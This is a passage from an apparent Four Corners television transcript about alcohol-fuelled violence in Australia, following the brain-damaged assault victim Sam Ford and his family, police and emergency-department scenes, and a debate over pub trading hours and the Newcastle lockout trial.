on the ground. RYLAND FORD: I got on the phone. I was actually yelling a bit - someone call an ambulance. I made a call myself. MICHAEL FORD: There's Sam's girlfriend screaming, people yelling, running everywhere and all he could do was hold Sam in his lap while they waited for an ambulance to come. RYLAND FORD: I just remember leaning over him and just holding the sides of his head gently and just continuously talking to him - 'Sammy, can you hear me?' Trying to get any response. 'I am here', you know, 'Blink your eyes - just let me know you can hear me'. There was nothing. JANINE COHEN: Still clearly intoxicated, the attacker returned to the scene of the crime and was confronted by Sam's friends. (Confused footage of the scene and people running) WOMAN (speaking to Triple 0): Stop, stop. There was a bloke who just committed the crime is coming back to the scene now. It's not pretty. Okay, can we actually have some police here as well? OPERATOR: Yep. We'll need to get the ambulance there first... WOMAN: Oh my god. OPERATOR: If you can move away from the noise so I can actually talk to you and hear you. RYLAND FORD: The attacker had drunk 10 cans of bourbon and coke that night, obviously was heavily intoxicated when the attack happened. (Sirens wail) JANINE COHEN: Sam was rushed to Tweed Heads Hospital in a critical condition with a fractured skull and massive brain damage. MICHAEL FORD: I could only look through the doors of the emergency and I could see him. He was obviously unconscious, he looked a mess. He looked... (sighs) He looked dead. (Still of Sam Ford intubated in a hospital bed) MARGARET FORD: It was horrific. I had no idea that it was going to be as bad as what it was. He was covered in blood and vomit and his ears were bleeding. (Different shots of Sam in the hospital) MICHAEL FORD: The doctor said Sam wouldn't make it through the night. They said he needed emergency surgery, that his skull would have to be opened to relieve the swelling. RYLAND FORD: We were taken into a small room where we just had to just sit and wait - hope, pray. (Close up of stitches all the way along Sam's hairline) MICHAEL FORD: We had to sign a release to say that they wouldn't revive him if it got to a certain point because it was virtually pointless, and that's probably the hardest thing I have ever done. (Bows his head) JANINE COHEN: It is unlikely that the attack on Sam would have happened without vast quantities of alcohol. (An ambulance with sirens on speeds through the night streets) Police, paramedics and trauma doctors across the country are frustrated and tired of alcohol-fuelled violence. Tonight we are on the front line with Sydney's Rocks Police. (Paramedics talk over the radio in the ambulance) CONSTABLE KATIE BURNELL, NSW POLICE: Those people have to know that what they are doing is going to do some sort of damage. I don't care how drunk they are. (Shots of drunken revellers) CONSTABLE SHANE LINDSAY, NSW POLICE: Sometimes in the heat of the moment I don't think they are thinking, you know? They've had that much alcohol. (Constable Burnell speaking to a drunk man on the street) CONSTABLE KATIE BURNELL: Where's your ID? Get your wallet out. MAN: Wow! JANINE COHEN: Police say about 70 per cent of their street work is taken up with alcohol-related cases... MAN: That guy over there... CONSTABLE KATIE BURNELL: Get your ID out. We've asked you three times - get your ID out, please. JANINE COHEN: ...some of it petty, much of it not. CONSTABLE KATIE BURNELL: I am Katie. This is Shane. We are from the Rocks Police. Alright, you approached us before and kept asking for lifts home and we asked you to leave. MAN: Yes... CONSTABLE KATIE BURNELL: Now you're back. Okay. MAN: Yes, and I'm trying to help you. The guy over there is trying to argue with me and he's trying to fight we me over there. He is drunk. CONSTABLE KATIE BURNELL: Maybe you started it, Samuel. MAN: I started it? CONSTABLE KATIE BURNELL: Maybe. Please go and get a taxi, please. CONSTABLE SHANE LINDSAY: I think it is part of the Australian culture to go out and have a drink. It's just knowing when to stop, when enough is enough. And people at the moment, they don't know it. And they keep going and keep going. (Drunk man shouting after the police) MAN: Why do you care about drunkards? CONSTABLE SHANE LINDSAY: And a lot of the times when we turn up to jobs, people are that incoherent they don't even know where they are. And I think a lot of the onus has to be put on licensed premises as well. They need to be more vigilant, they need to be standing in there and looking at who they are serving. (Outside a different establishment) CONSTABLE KATIE BURNELL: What's happened? CONSTABLE SHANE LINDSAY: You've been asked to leave a venue. (inaudible response) CONSTABLE KATIE BURNELL: Mate I've seen enough, alright? It's obvious that you're argumentative. (Man falls over) MAN: Woah! CONSTABLE KATIE BURNELL: You're blind! Get up. You're blind drunk. Look at you! Let's go, let's go to the station. Up, up... (Police help man up and walk him away) JANINE COHEN: How often do you get called to cases where people simply are drunk and won't leave the premises? CONSTABLE KATIE BURNELL: Just about every one, just about everything that we come across on a Friday and Saturday night is called a 'fail to quit', which means that the person will not leave the licensed premises. JANINE COHEN: Drunk? CONSTABLE KATIE BURNELL: Drunk. They've been asked to leave because they're either quarrelsome, disorderly, just misbehaving in some regard. JANINE COHEN: Violent sometimes? CONSTABLE KATIE BURNELL: Yep. Definitely. MAN: I don't even know what happened... JANINE COHEN: After 12 warnings, this man has been given an official move on direction but still won't go home. CONSTABLE KATIE BURNELL: Reg, I am so over you. I've got to tell ya. I'm done. REG: Don't say that 'cause I will fucking go over there... CONSTABLE KATIE BURNELL: Are you threatening me? Are you threatening me? REG: Are you a butch girl or what? CONSTABLE KATIE BURNELL: Are you threatening me? REG: Are you a butch girl or what? CONSTABLE KATIE BURNELL: What's 'butch' got to do with it? I have got a job to do. JANINE COHEN: For 10 minutes Reg refuses to leave the entrance of the Rocks Police Station. REG: You guys need to pull your head out of your arse. There are other trouble makers around. CONSTABLE SHANE LINDSAY: Okay... (Reg walks across the street to another pub) CONSTABLE KATIE BURNELL: He's going to go straight over there. POLICEMAN: Straight back over! CONSTABLE KATIE BURNELL: Alright, let's go and lock him up. He's got to get locked up. JANINE COHEN: This is the third time Reg has returned to the hotel. (Constable Katie Burnell follows Reg to the pub, where he is arguing with a security guard) SECURITY OFFICER: I asked you to take your drink inside... There you go. (Police escort Reg away and he falls again) See you later. Oh here we go again. JANINE COHEN: Reg is given a $550 fine and put in the police lock up. He has taken up the time of five police officers, some for over an hour. CONSTABLE SHANE LINDSAY (to Reg): It would only take me, trust me... REG: Are you joking? NICK KALDAS, NSW POLICE DEPUTY COMMISSIONER: Alcohol imposes a huge cost on emergency services. It's not just the police, it's the ambulance, paramedics, the hospital workers - doctors, nurses and so on. An enormous amount of effort and anguish is expended on people who have simply got themselves in such a drunken state that emergency services have to become involved to look after them or patch up the mess that they leave. (Shots of girls dressed up and on the town. The constables walk down the street) CONSTABLE KATIE BURNELL (getting out of the police car): It's very frustrating... JANINE COHEN: Thirty minutes after locking Reg up, Constable Lindsay and Constable Burnell see a drunken scuffle outside a bank and pull over. (The constables approach a couple at an ATM) CONSTABLE KATIE BURNELL: Our mate's obviously been annoying these guys, which is fine, and this bloke just pushed him to the ground. WOMAN: He was harassing us. CONSTABLE KATIE BURNELL: Straight to the ground. WOMAN: He tried to push us as well. CONSTABLE SHANE LINDSAY: Just get them to move on. (to the other party) How much have you had to drink. MAN: Me? CONSTABLE SHANE LINDSAY: Fair bit? MAN: Yeah. Yeah. (Put's his hand on Constable Lindsay's shoulder) I-I... CONSTABLE SHANE LINDSAY: Don't touch me, bro, just relax. MAN: Sorry, sorry, sorry. I am not a bad bloke... CONSTABLE SHANE LINDSAY: I don't think you are. I just think you've had too much to drink. You need to go home. MAN: No, no that's fine but this bloke over here... CONSTABLE SHANE LINDSAY: Yeah. MAN: ...has dead set just shoved me around like I am a little bitch all night. And I just want to go home and go to bed. CONSTABLE SHANE LINDSAY: I reckon that is just the best thing you've had. My name is Constable Lindsay from Rocks Police. I am giving you an official move along direction. You are not to be in the city for another six hours, alright man? MAN: No worries, no worries. CONSTABLE SHANE LINDSAY: Enjoy your night. Go home. MAN: No worries. CONSTABLE SHANE LINDSAY: Go that way. See ya. MAN: Yep, no worries. Thanks very much, officer. (Constable Lindsay walks back over to the couple standing near the ATM with Constable Burnell) CONSTABLE KATIE BURNELL: Get out of here. CONSTABLE SHANE LINDSAY: Go that way, man. I'd much rather turn up and break it up and get them on their own way than turn up and someone be injured or in a worse way. So it was good work by Katie. (Whooping on Oxford Street, Constable Lindsay speaking to a man) Hey, talk to me, don't talk to him. JANINE COHEN: For every good result the young constables get, there's a bad one just around the corner. CONSTABLE SHANE LINDSAY: You're acting like a child, mate. Grow up. (Outside another venue) My name's Constable Lindsay from the Rocks Police. Get your license out... JANINE COHEN: It's 3am and a man is refusing to leave the Argyle Hotel at the Rocks. (Police struggle with a large drunk man, someone tries to block the camera) MAN: Get on the ground! You touch me? JANINE COHEN: Constable Lindsay takes the man outside, who suddenly becomes violent and attacks him. (Several police subdue the man on the street) CONSTABLE SHANE LINDSAY: My name is Constable Lindsay. You are under arrest for assaulting police. Do you understand that? MAN: Oh yeah... CONSTABLE SHANE LINDSAY: Anything you say or do, I will record. Do you understand that? MAN: Yes. CONSTABLE SHANE LINDSAY (panting): Right, now he's got to get handcuffed. POLICE: He's resisting. CONSTABLE KATIE BURNELL: Pull your arm out! MAN: Pull your arm out, dickhead! CONSTABLE KATIE BURNELL: Why are you here? JANINE COHEN: Outside the police station, Constable Burnell has to deal with the offender's drunken friends. FRIEND 1: He was ganged up upon and taken away so that's why I am here. CONSTABLE KATIE BURNELL: 'Ganged up upon?' FRIEND 1: Yes. CONSTABLE KATIE BURNELL: He just had me pushed up against the wall up there. I have got a sore elbow. FRIEND 1: I'm sorry that you have got a sore elbow. CONSTABLE KATIE BURNELL: So I want you to go away. FRIEND 1: He's the... CONSTABLE KATIE BURNELL: We don't get paid enough money to get bashed, okay? We're not here to be assaulted. FRIEND 1: That guy is just the most pure of soul that you will ever meet in your life. I promise you that. CONSTABLE KATIE BURNELL: I'm telling you now, from what I just saw he is feral. FRIEND 2: No he's not. Respect to everything you do but he's not like that. (Inaudible comments from another friend) CONSTABLE KATIE BURNELL: Look at him up there! We had to get three cops to get his hand down to handcuff him. FRIEND 1: That's just stock standard what you do, though. CONSTABLE KATIE BURNELL: Really?! JANINE COHEN: Tonight the cells at the Rocks police station are full, mostly of drunk and violent people. (Three police approach the station with a shirtless man) CONSTABLE KATIE BURNELL: Shirt off, never a good sign. Why do guys always want to take their shirt off when they fight? JANINE COHEN: This man was also charged with assaulting police after he refused to leave a hotel. POLICE OFFICER: Just letting you know, you're under arrest for assaulting police, like we said before... JANINE COHEN: Thousands of police across the country are assaulted each year in alcohol-fuelled attacks. CONSTABLE SHANE LINDSAY: You can't go in there. WOMAN: This is my boyfriend - please! CONSTABLE SHANE LINDSAY: Just wait! DEPUTY COMMISSIONER NICK KALDAS: The most frustrating and probably distressing thing is when you get up in the morning and you read the reports and you realise that some of your officers have been hurt. And they've been hurt by someone who is so drunk that they couldn't exercise proper judgement in what they were doing. It's unnecessary. It's unacceptable. (Close up of hospital chart for Sam Ford) JANINE COHEN: Sam Ford survived the alcohol-fuelled attack three years ago in Coolangatta but it has left him profoundly disabled. (Video footage of Sam being massaged on a hospital bed while in a coma - 18 Oct 2009) After 38 days in a coma, doctors thought he would never leave his hospital bed. (Close up of Sam's eyes staring blankly) MARGARET FORD: Sam has severe brain damage. He can't walk, he can't talk. He's deaf in his left ear. He has double vision. He can only see with one eye patched. He can't smell. He can't do anything for himself, really, and it's very difficult for him to communicate. So for the first two years I continued to work and visit the hospital every night. (Talking to Sam in the present day) Good morning, buddy. (Sam smiles, his father leaning against him on the bed) MICHAEL FORD: Are you ready to get up, okay? SAM FORD: Mm. MICHAEL FORD: Going to have a shower? (Michael pulls Sam up out of bed) Ready, set, up. JANINE COHEN: Margaret and Michael have given up their careers to look after Sam. MICHAEL FORD: There you go... JANINE COHEN: He needs 24 hour care. JOEL FORD, SAM'S YOUNGER BROTHER: Sam's life now... to describe it is pretty hard. Every day is more of a job. Every day is a routine for Sam. It's wake up in the morning, have breakfast and dad has to come and shower him and put him on the toilet. JANINE COHEN: Sam is paralysed down one side and has seizures. (Margaret Ford chopping watermelon) MARGARET FORD: So I have to chop everything up for him. He has to sort of have everything just in bite size pieces. (Sam eating watermelon pieces from a tray) Just one piece of watermelon at a time, buddy. You are going to choke on it! See? It's too big. And it always makes you cough. Because, you know, the watermelon juice. Alright? One piece at a time. Okay. (Sam nods) Alright. Good. (Home videos of Sam before the accident, fit, tan and leaping off a cliff into the sea) JANINE COHEN: Before the attack, Sam was a natural athlete. JOEL FORD: He just lived in the water and since we were really young, when Dad used to take us up the beach, it was just always hard to get him out. (Still photograph of Sam at the beach) MARGARET FORD: He was really well liked. He was good at sport, he was good at everything. He made everyone laugh, just loved life. Everyone loved Sam - heaps of friends. The girls loved him too. He's such a handsome boy. PHYSIOTHERAPIST: Again, just standing on that right knee... JANINE COHEN: Now Sam is trying to learn to walk again. He needs several intensive therapies, including three 90 minute sessions of physiotherapy a week. (Physiotherapist supports Sam as he walks haltingly along a path) PHYSIOTHERAPIST: Chest out - lovely job... MICHAEL FORD: Physiotherapy is incredibly important to Sam's recovery and I feel he would not be out of bed - or if he was, he'd be just sitting in a corner somewhere and we won't let that happen. PHYSIOTHERAPIST: Good job... heel-toe, heel-toe... JANINE COHEN: Financially, the family are struggling with the huge medical costs. At one point they thought they would lose their home. Friends have set up a trust to pay for some of Sam's expenses. RYLAND FORD: Sam's journey over the last three years has been very rocky, an uphill battle really. (Shot comes into focus on a ceiling mounted CCTV camera, muffles shouts and screams in the background) JANINE COHEN: The night of October 10, 2009 has also changed another young man's life. (Still shots of Damian Ford in handcuffs) The day after the attack, police arrested 18 year old Damian Ford - no relation. He was jailed for six years and nine months but with good behaviour served only two. (Mug shot of Damian Ford's face with a black eye) Damian Ford was a promising local footballer whose life changed forever in a moment of drunken rage. (Police video of the interview with Damian Ford) POLICE OFFICER: So how long have you been diabetic now? DAMIAN FORD: Since I was ten, so eight years. POLICE OFFICER: Alright... JANINE COHEN: In his record of interview, Damian Ford told police that Sam didn't attempt to throw even a punch. DAMIAN FORD: I don't really like drinking that much because stupid stuff happens. POLICE OFFICER: Yep. MICHAEL FORD: Like there's no excuse, drunk or not drunk. There's no excuse for picking someone out in the street and just... going after them. What is that? I don't understand that violent action. (Police video of the interview with Damian Ford) DAMIAN FORD: I've seen on the news about the guy that got punched and... died from it... JANINE COHEN: It wasn't the first time Damian had been drunk and angry. DAMIAN FORD: Because I've been in a few fights before and knocked a couple of guys out cold and I've always been scared that I was going to hurt someone too much, like from someone trying to fight me. Just, kind of... I just wish I didn't do it, really. POLICE OFFICER: (inaudible) DAMIAN FORD: I don't know, like, I have always been brought up just to look after myself and never really, if someone comes at me, never back down. MICHAEL FORD: There's nothing I can do. I could go and out and kill this guy - I mean, really. And what would that do? It won't help Sam. We have to live with it and so does he. (Photograph of Damian Ford's family) JANINE COHEN: Living with it has been challenging for Damian Ford and his family. (Phone rings) ANNETTE FORD, DAMIAN'S MOTHER: He has learnt a very hard lesson. He just wants to try and move on the best he can. JANINE COHEN: Why did he want you to talk? ANNETTE FORD: He wants to let people know his remorse. He is sorry. LUKE FORD, DAMIAN'S BROTHER: If he could do it himself he would, but obviously he can't. But he wants everyone to know what he has done, he never intended and he's really sorry about it. JANINE COHEN: And it was wrong? LUKE FORD: It was wrong. He'll feel sorry about it for the rest of his life now, so... (Exterior of Sam Ford's house) JANINE COHEN: Do you feel sorry in a way for the young man that attacked Sam? SAM FORD: No... JANINE COHEN: You don't feel sorry for him, Sam? SAM FORD: No... nup. MARGARET FORD: Of course... sort of in ways, I guess I do. JANINE COHEN: As a mother? MARGARET FORD: As a mother. (Sam shakes his head and moans, visibly distressed) MARGARET FORD: No, darling, no... I know. It's just to think that someone so young is in jail and that you know, their life has changed forever - no. But of course I don't feel sorry for the fact that he's been sent to jail because he has, you know, destroyed Sammy's life. But you know, to see someone so young in jail is... you know, is pretty hard. SAM FORD: Mm mmm... MARGARET FORD: I know, babe. No. JANINE COHEN: Sam, are you alright? I don't feel sorry for him that way, darling, because he's done terrible things to us. He's done terrible things to our life, but you know... JANINE COHEN: The devastating effects of alcohol-fuelled violence is something that New South Wales Chief Magistrate Graeme Henson sees every day. JUDGE GRAEME HENSON, NSW CHIEF MAGISTRATE (in court): This offense, the charge of affray, carries a maximum jail sentence of ten years imprisonment... JANINE COHEN: He allowed Four Corners into his court where he is sentencing a 22 year old man who admits, along with three other men, to attacking a stranger in the city. DEFENCE LAWYER: Although he doesn't recall very much of the incident, he doesn't want to use his intoxication as an excuse for what has happened. And he's truly remorseful over what he has done and... JUDGE GRAEME HENSON: Tell me why, Mr Kwon, why he shouldn't be sent to jail today. DEFENCE LAWYER: This is a first offence and... JUDGE GRAEME HENSON: You don't get one free go. The police couldn't even interview you because you were so drunk and then without reason, without cause, setting upon some other innocent member of the community, knocking them to the ground, stomping on their head - in company with three or four other peoples - causing the person sufficient injuries for them to be carried away to hospital. Now the prevalence of violence within the community, particularly upon our streets, where it is alcohol related violence, has reached such epidemic proportions and the consequences of such violence in terms of injury upon people within the community has reached such a stage, that society - and rightly so - is fed up with people such as yourself and your colleagues. You're set and convicted, sentenced to imprisonment... JANINE COHEN: The student was sentenced to nine months in prison and will be eligible for parole after four. JUDGE GRAEME HENSON: Fifteen, 20 years ago a common act like this would be one punch, and then people would walk away or run away, as the case may be. Now the violence tends to be ongoing, it tends to involve knocking people to the ground, it tends to involve kicking and stamping on somebody who's curled in a foetal position on the ground. (Shot of a police man bending over an injured man on the ground) What possesses somebody to do something such as that? I don't know. I think what happens now is there are more people out for a longer period of time in licensed premises, so that the potentiality for people right across the social spectrum to get involved in alcohol-related crime has increased correspondingly. JANINE COHEN: There is a growing body of research that shows people who drink a lot are more likely to end up in the court system. John Eyer sees the links between violence and brain damage from alcohol abuse every day at Arbias, an organisation that looks after people with an acquired brain injury. JOHN EYRE, EXECUTIVE MANAGER, ARBIAS: The injury or the damage to the brain is such that a person progressively and insidiously over time loses the ability normally to be able to make those sorts of decisions that would have you walk away from confrontation, for example. In fact. you'll do the opposite, you'll engage in it. (Police officers arresting a man) POLICE OFFICER: You're under arrest for assault. You don't have to say anything... JOHN EYRE: You will face assault, you will assault, you will have falls, you will find yourself with a brain injury as a result of long-term use of alcohol. There's too much evidence on this that verifies it. (Footage of drunken revellers on the street) JANINE COHEN: A large number of John Eyer's clients have a brain injury from binge drinking. And the concerning news is that they are getting younger. JOHN EYRE: We are now seeing people who are aged between 20 and 30, which is a significant drop, suggesting that people in that age group are drinking far too much, far too much. (Shot of police helping a drunk man into an ambulance) JANINE COHEN: But the powerful lobby group, the Australian Hotel's Association, claims it's drugs mixed with alcohol which is causing most of the problems. PAUL NICOLAOU, CEO OF THE AUSTRALIAN HOTELS ASSOCIATION NSW: You're not going to like it but drugs is an issue and you just have to look at the mixing of drugs and alcohol is causing problems. JANINE COHEN: What evidence do you have for that? PAUL NICOLAOU: Well, I don't have to tell... see you, you just have to pick up the newspapers, you just have to click on the radio. No one has done any full on research when it comes to the mixing of alcohol and drugs. JANINE COHEN: So no evidence? PAUL NICOLAOU: No. No evidence. JANINE COHEN: There's been claims that increased violence is really not about alcohol, it's caused mostly by illicit drugs. JUDGE GRAEME HENSON: Well I think that claim was made by the Hotels Association and I think that's, just as I said at the time, ludicrous. It may be that illicit drugs are part of the problem but they are not the problem itself. PAUL NICOLAOU: Drugs are a major problem and the concern... JANINE COHEN: The Chief Magistrate is saying that's a ludicrous argument and that alcohol is the major problem. PAUL NICOLAOU: Well, I'd like to see the Chief Magistrate's statistics. (Ambulance sirens wail) JANINE COHEN: It's Friday night in Sydney's Eastern Suburbs and Four Corners is on the road with the NSW Ambulance Service. (Outside Hotel Bondi, paramedics work on a man in the ambulance) Call after call to the paramedics is alcohol-related. This man has been hit over the head with a glass inside Hotel Bondi. His head has a deep gash requiring stitches. LUKE, VICTIM'S FRIEND: Just having a quiet drink and the next thing you know this guy got really aggressive because we were sitting close to where he was, and then he got the glass and he smashed the glass into my friend's head. The next thing you know there was like blood coming down and this sort of stuff. JANINE COHEN: Police caught the alleged offender. Minutes later another call to another Bondi pub, the Beach Road Hotel. GILES BUCHANAN, PARAMEDIC: I would say half of our assaults would be inside a pub or directly outside. JANINE COHEN: This man was knocked unconscious for a few seconds with a punch to the head from another person inside the hotel. JUDGE GRAEME HENSON: One day someone is going to sit down and weigh up the benefit in terms of taxes to government from the sale of alcohol against the detriment, or the cost to governments, of servicing the consequences of violence. (Camera pans across a street scene with pubs and nightclubs) JANINE COHEN: What responsibility does the AHA take for the amount of alcohol-related violence and injury? PAUL NICOLAOU: Well it's a society problem, it's not the AHA's problem. The AHA work closely with the community, work closely with government, works closely with police to ensure that they provide safe venues for patrons to go and visit. JANINE COHEN: What responsibility should the AHA and the liquor industry take for the amount of alcohol-related crime and injury? A/PROFESSOR BRIAN OWLER, PRESIDENT, AUSTRALIAN MEDICAL ASSOCIATION NSW: Well, I think they should take more responsibility than what they're taking at the present time. (to a young man) No wheelchair today? PATIENT: No, not any more. PROFESSOR BRIAN OWLER: All gone. JANINE COHEN: Neurosurgeon Brian Owler is the head of the New South Wales branch of the Australian Medical Association. His association has joined forces with police, hospitals, nurses, paramedics and universities. They want new restrictions on the availability, price, sale and promotion of alcohol, which is more affordable and available than ever before. PROFESSOR BRIAN OWLER: The severity of the violent attacks has been on the increase. Now, the number of glassings that we see these days and the number of severe head injuries, the types of king hits that we never used to see before, have been on the rise for the past few years. And so that's a real worry. (Exterior of St Vincent's hospital) JANINE COHEN: What happened to you tonight Steve? STEVE MITCHELL: I just got glassed. (Removes gauze from his face to show cuts) JANINE COHEN: Oh god! It is Saturday night and Stephen Mitchell is in St Vincent's Hospital Emergency in Sydney. DOCTOR (dressing Steve's wounds): Have you got some scissors, or grab my scissors? JANINE COHEN: Stephen was having a few drinks at the Sydney Star Casino when an argument broke out with some other men. STEVE MITCHELL: There was a group of them, kind of had a bit of a disagreement about a chair. I told them 'You know, don't worry about it' and then boom one of his mates hit me with a glass. I was supposed to go to the Cross tonight but I thought I'd give it a miss, you know? Too many drunk people out and the casino was definitely going to be a bit safer - but obviously not. JANINE COHEN: It is not the sort of thing expect to happen on a Saturday night? DOCTOR: You expect it whenever you go these days. You don't really expect it to happen to you but you expect it. DRUNK PATIENT: Ahh... my lord! (inaudible) JANINE COHEN: The vast majority of people brought into Sydney's St Vincent's Hospital this Saturday night are heavily intoxicated. (Man vomiting into a bag) One woman's blood alcohol level was seven times the legal driving limit. PARAMEDIC (to woman on a stretcher): You can't even walk, that's why you were falling up the stairs before. DRUNK WOMAN: I know I am at the hospital but can I leave like in the next hour or..? PARAMEDIC: If you sober up you can. MAN: Oh... can't breathe... JANINE COHEN: A man is rushed in after reports that he had been attacked by a group at a city bus stop. STEPHEN ZEITCH, PARAMEDIC: He's had a fair bit to drink. (Patient on stretcher behind him hold up two victory signs) He thinks he's okay so in terms of his obvious broken nose there, he thinks he's fine. He wants to go home. So he does need some medical attention and quite intoxicated, so needs to be here. But yeah, nothing too serious by the looks of it. (Patient struggles to sit up) Lie down, lie down! JANINE COHEN: But as the night moves on, things do become serious. (Security guards attempt to restrain the patient as he tries to leave) JOHN: You've got no right to touch me! I know the law, mate! JANINE COHEN: John, who is still very drunk, is caught by security guards trying to escape. JOHN: Just relax boys, mate... I'm going home to watch Neighbours... (struggling) Youse can just [expletive] relax! Don't touch me like that! (inaudible) Let go of me! What are you doing? (Guards wrestle John to the ground) By far and away alcohol is the biggest offender when it comes to these sorts of violent incidents that occur within hospitals, particularly in our emergency departments. JOHN: I can't breathe! PROFESSOR BRIAN OWLER: And I think if your talk to any doctor or nurse in an emergency department, I think you'll find- it would be very difficult to find one that hadn't directly experienced alcohol-related violence on a regular basis. JOHN (restrained on the floor): My neck's sore, my neck's sore - my neck is sore! JANINE COHEN: As the situation escalates, Four Corners is told to turn off its cameras. John's blood is cleaned from the hospital floor. (Hospital worker wipes up blood) HOSPITAL WORKER: I haven't seen it quite as bad as this, to be honest. JANINE COHEN: The security guards are covered in blood too. And this is just a typical Saturday night in Australia for many emergency departments. WOMAN PATIENT (off camera): Oh, plee-ease... PAUL NICOLAOU: It's a society problem. If you just look at just recently you've had a number of house parties where people are consuming alcohol at their home, where they've had to call in extra police because the police are being bashed or things are being thrown at them. We believe it is a society problem and we need to be looking and working together with society to resolve the problems of alcohol and drugs that are in our community. JANINE COHEN: Okay, why is there so much alcohol-fuelled violence in your opinion? PAUL NICOLAOU: Well... there isn't. JANINE COHEN: Back in emergency, things have gotten even worse for assault victim John, who had to be physically restrained earlier. A/PROFESSOR STEVEN FAUX, ST VINCENT'S HOSPITAL, SYDNEY: If you are very aggressive and the staff are at risk of being injured, the safest thing to do is to be intubated and paralysed. So unfortunately for this chap, during that process he vomited and inhaled his own vomit. JANINE COHEN: After a breathing tube is inserted, John is sent to the hospital's intensive care unit. SCOTT WEBER, PRESIDENT, POLICE ASSOCIATION OF NSW: They tie up our entire emergency service system, and especially on Friday and Saturday nights. JANINE COHEN: Is the country facing a crisis? SCOTT WEBER: Well we are not facing a crisis, we're in a crisis. It's occurring right now. It costs the community over $15 billion a year. But that's not even the ripple effect. What about the families that have to deal with the aftermath? (Paramedics help a groaning man out of a car) PARAMEDIC: Use you legs - that's it. PROFESSOR BRIAN OWLER: I think we've been in a crisis for a long time. And when you see 70,000 cases of alcohol-related assaults, 24,000 cases of alcohol-related domestic violence and 20,000 cases of alcohol-related substantiated cases of child abuse, Australian society has a crisis with harmful effects of alcohol. PROFESSOR STEVEN FAUX (looking at a head x-ray): Is there any blood in the fissure? JANINE COHEN: Back in St Vincent's intensive care unit, John is in a serious condition. PROFESSOR STEVEN FAUX: So he's punched in the nose, fell back and hit his head... JANINE COHEN: He is in the care of neurologist Steven Faux, an expert on brain injuries. PROFESSOR STEVEN FAUX: The main problem here is this fracture and it's at the back of the brain. And then what we will see is some development over time. Well, we're just going to go and have a quick look at him. JANINE COHEN: The vomit in John's lungs has led to pneumonia. He also has a fractured skull, broken nose and facial bones, and possible bleeding on the brain. PROFESSOR STEVEN FAUX: You've had a bit of a fracture at the back of your head and you might have a little blood around your brain. (Footage of John in the Emergency ward) JANINE COHEN: One of the reasons for his aggressive behaviour in emergency, besides the fact that he was very drunk, may have been his head injury. PROFESSOR STEVEN FAUX: By the time he was admitted he was cerebrally irritated and he began to lash out, so difficult to manage. JANINE COHEN: Now we've been told he was actually assaulted. How common are alcohol-fuelled assaults? PROFESSOR STEVEN FAUX (laughs): They are every weekend. They are par for the course. We do our rounds. We start on Mondays and we see these guys, they usually wake up by Thursday. JANINE COHEN: Professor Faux is called to see yet another assault victim back in the emergency department. There's been a drunken brawl in the city. One man was stabbed and this man was punched and kicked to the head before losing consciousness. (Professor Faux rolls a patient over on a hospital bed) PROFESSOR STEVEN FAUX: Do you know what year it is? PATIENT: No... PROFESSOR STEVEN FAUX: Okay. Have you been kicked there? Yeah... JANINE COHEN: Doctors have to wait until this man and his friend sober up before possibly operating. While assault rates in some states are falling, the injuries are becoming more serious. PROFESSOR STEVEN FAUX: And what we are finding is the numbers haven't increased but their length of stay has, which indicates the severity of the injuries has increased. I think people are drinking more, there's a lot more focus on spirits and shots, so they are getting a little bit more aggressive. And I think people are becoming much more violent in those sorts of settings. (Long shot of boys fighting on the street) JANINE COHEN: Back in 2008 in Newcastle, local police and residents lobbied for a mandatory trial to help combat alcohol-fuelled violence. Most hotels were forced to close at 3.30am rather than 5am. Lock outs were introduced after 1.30am and there was a ban on shots and doubles after 10pm. This resulted in a 37 per cent drop in assaults. If Newcastle works, why isn't it rolled out across the country? SCOTT WEBER: This is the thing that police officers across the country can't understand. Look, we've had other states look at this. It's the best practice. It's the best model. JANINE COHEN: New research to be published soon shows that Newcastle hospital admissions have fallen by 26 per cent and general street offences have dropped by 50 per cent. PROFESSOR BRIAN OWLER: Clearly Australia has a problem alcohol-related violence and the only way we are going to change things is to use evidence that's been gathered from trials like this and apply it to other communities. JANINE COHEN: Did the Newcastle model work? PAUL NICOLAOU: No it didn't. What you've seen is a decimation of the night-time economy in Newcastle. You've also seen the number of hotels drop from fifteen down to nine. And in addition to that, what you're seeing is people coming down to Sydney, going to other places and you're dispersing the problem. PROFESSOR BRIAN OWLER: There's been no evidence to say that people are going to other areas. To the contrary, they actually looked at the patterns of consumption in the surrounding areas and found that people weren't going out of area to consume more alcohol. JANINE COHEN: Critics say a raft of reforms are desperately required but governments will need courage to take on the alcohol lobby. SCOTT WEBER: There just seems to be such an issue with this powerful industry actually maintaining governments and saying 'Hang on a minute, you're not taking away our trading hours, you're not taking away our business'. JANINE COHEN: Now some of your critics claim that the reason that governments across the country aren't doing anything is because your industry is too powerful. PAUL NICOLAOU: Well... so is the mining industry, so is hundreds of other industry-based organisations. (Exterior of a pub with noisy revellers) PROFESSOR BRIAN OWLER: Clearly there are close personal relationships between people in government and the industry. I think they've donated quite large amounts of money to political parties on both sides, and we know that this has been a problem for a long period of time. How we reverse this problem is going to be very challenging. (Ryland and Sam Ford talking in Sam's bedroom) RYLAND FORD: Home Aussie? (Sam laughs) What's your name, Aussie? Want to sing your song? (sings) My, my, my, my - why, why, why, why... JANINE COHEN: The challenge is to take action now and stop any more horrific attacks like the one on Sam Ford. RYLAND FORD: Why what? SAM FORD: Lilah... RYLAND FORD (enunciating clearly): De-li-lah. SAM FORD: Deni-nah... RYLAND FORD: He knows how he wants to respond but he just can't. He is just trapped in the body that he can't use. He knows exactly what is happening but he just can't respond to it. SAM FORD: ...li-lah... RYLAND FORD: Oh, a bit more enthusiasm, buddy! (Sam laughs) JANINE COHEN: And it is not just Sam that has to live with the devastating results of alcohol fuelled violence. That night had a terrible ripple effect on the whole family. (The Ford family around the pool at home) RYLAND FORD: Dad actually asked us not to go out that night and we still did. It is hard. Had we not gone out that night, it wouldn't have happened. We wouldn't be in the situation we are in. I blamed myself for it for a long time but you've got to stop that, move on. (to Sam) What movies have we got? What movie do you want to watch? JANINE COHEN: Like the rest of his family, Ryland has struggled. RYLAND FORD: I felt depressed. I was at rock bottom. It was a real grind just getting through the day. I mean I just had, at work, just photos and photos I would just stare at for half the day, old footage from when we would go on holidays and stuff and just watch it over and over. JANINE COHEN: Sam's youngest brother Joel was 16 at the time of the attack and about to start year 12. (Home video of Joel and Sam after the attack) JOEL FORD: At my worst I just shut down completely, basically, and every time I'd try and do some work I'd just pick up the pen and all I could see in my head was Sam so I was just like writing his initials, just SJF and all that. JANINE COHEN: Where were you writing his initials? JOEL FORD: Just like on my hand, on my legs like just... wherever, wherever I had free skin. Some 